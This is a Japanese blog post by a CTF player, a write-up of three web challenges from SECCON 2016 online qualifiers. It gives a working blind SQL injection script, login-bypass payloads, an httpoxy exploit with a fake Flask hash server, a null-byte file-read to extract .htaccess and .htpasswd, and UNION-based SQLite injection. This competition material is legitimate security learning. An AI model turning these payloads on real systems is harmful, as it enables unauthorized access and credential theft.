st98 の日記帳


[ctf][seccon] SECCON 2016 オンライン予選に参加しました

hiww さん (@hiww) のお誘いでチーム Harekaze として SECCON 2016 Online CTF に参加しました。
最終的にチームで 1300 点を獲得し、チーム順位は 61 位 (得点 930 チーム中) でした。

私は Web カテゴリの問題を中心に取り組んで、

の 3 問を解きました。

チームメンバーの write-up はこちら。

以下、私の write-up です。

basiq (Web 100)

以前見たことがあるような競馬のサービスから admin のパスワードを手に入れる問題でした。

どこから攻めればいいのか分からずだいぶ悩んでいましたが、@tatarhy さんのコメントで http://basiq.pwn.seccon.jp/admin/ にアクセスすると認証ダイアログが表示されると分かりました。

これは怪しいと思い、試しにユーザ名に admin、パスワードに ' or 1;# と入力するとログインに成功しました。
また、ユーザ名に admin、パスワードに ' and 0;# と入力するとログインに失敗しました。

このことから Blind SQLi ができるのではないかと考え、まず以下のコードで確かに情報を抜けることを確認しました。

import requests
import sys

def check(c):
  return c == 200

url = 'http://basiq.pwn.seccon.jp/admin/'
query = "' and 0 or substr(version(), {}, 1) <= binary 0x{:x};#"

i = 1
res = ''

while True:
  high = 0x7e
  low = -1

  while abs(high - low) > 1:
    mid = (high + low) // 2

    c = requests.get(url, auth=('admin', query.format(i, mid)))

    if check(c.status_code):
      high = mid
    else:
      low = mid

  res += chr(high)
  print(i, res)
  i += 1

結果は 5.5.50-MariaDB でした。

続いてどのようなデータベースがあるか確認するため、query' and 0 or substr((select group_concat(distinct hex(table_schema)) from information_schema.tables where table_schema != 'information_schema'), {}, 1) <= binary 0x{:x};# に変え実行しました。keiba というデータベースがあると分かりました。

さらに information_schema.columns からテーブル名とカラム名を抜き出すと、id name pass というカラムを持つ ☹☺☻ (\u2639\u263a\u263b) というテーブルがあると分かりました。

あとは keiba.☹☺☻ からパスワードを抜き出すだけです。

SECCON{Carnival}

pppppoxy (Web 200)

配布された pppppoxy.exe という実行ファイルを実行すると、ブラウザで 127.0.0.1:81 が開かれました。127.0.0.1:81 では Web アプリが動いており、これの認証を突破する問題でした。この問題は Harekaze が first solve でした。

この問題名から思い出されるのは、httpoxy という脆弱性です。

試しに python -m SimpleHTTPServer 8000 で待ち受けながら curl -X POST http://127.0.0.1:81 --data "user=admin&pass=hoge" -H "Proxy: http://127.0.0.1:8000" を実行してみました。すると、GET http://127.0.0.1:81/Authenticator?user=admin HTTP/1.0 という HTTP リクエストが飛んできました。ビンゴです。

http://127.0.0.1:81/Authenticator?user=admin にアクセスすると {"hash":"C432A8174394A3F655B2BD29BB075E4C"} という JSON が返ってきました。このハッシュは文字数からしておそらく MD5 でしょう。

これを利用して、以下のようなコードを書きました。

from flask import Flask
app = Flask(__name__)

@app.errorhandler(404)
def not_found(e):
    return '{"hash":"21232F297A57A5A743894A0E4A801FC3"}', 404

if __name__ == "__main__":
    app.run(port=8000)

これを動かしながら curl -X POST http://127.0.0.1:81 --data "user=admin&pass=admin" -H "Proxy: http://127.0.0.1:8000" を実行するとフラグが出ました。

SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}

uncomfortable web (Web 300)

シェルスクリプトやらなんやらを実行できる Web アプリと、その Web アプリからのみアクセスできる Web アプリがあり、前者から後者を攻略する問題でした。

この問題もどこから攻めればいいのかが分からず悩んでいましたが、curl "http://127.0.0.1:81/select.cgi?txt=a.txt%00" のように null バイトを入れるとよいと気付いて進捗しました。

/authed/ 下を見る認証に必要な情報を得るために http://127.0.0.1:81/select.cgi?txt=.htaccess%00.htaccess を抜き出しました。

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

認証に使用するユーザ名とパスワードの一覧は .htpasswd に格納されているようです。同じように抜き出しました。

keigo:LdnoMJCeVy.SE

gen さん (@neglect_yp) がパスワードは test であるとコメントされていたので、得られた情報から /authed/ 下を見ると以下のような構成になっていました。

[TXT]	a.txt	30-Nov-2016 09:59	888	 
[TXT]	b.txt	28-Nov-2016 12:00	78	 
[TXT]	c.txt	30-Nov-2016 10:04	48	 
[DIR]	sqlinj/	28-Nov-2016 11:41	-	 

/authed/sqlinj/ 下は {1..100}.cgi という感じで 100 個のファイルがあり、そのいずれかで SQLi が行えるようでした。

HTML のコメントに <!-- by KeigoYAMAZAKI, 2016.11.25- --> とあったため、SQLite を使用していると考え、以下のコードでどのファイルで SQL インジェクションが行えるか確かめました。

#!/usr/bin/python
import requests
for x in range(1, 101):
  print '[' + str(x) + ']'
  print requests.get('http://127.0.0.1:81/authed/sqlinj/{0}.cgi?no=\'||\'4822267938'.format(x), auth=('keigo', 'test')).content

72.cgi で SQL インジェクションが行えると分かりました。あとはやるだけです。

http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822267939' union select 1, 2, (select group_concat(sql) from sqlite_master) where 1 or 'f1ag というカラムを持つ f1ags というテーブルがあると分かります。

select group_concat(sql) from sqlite_masterselect group_concat(f1ag) from f1ags に変えるとフラグが出ました。

SECCON{I want to eventually make a CGC web edition... someday...}
st98.github.io / st98 の日記帳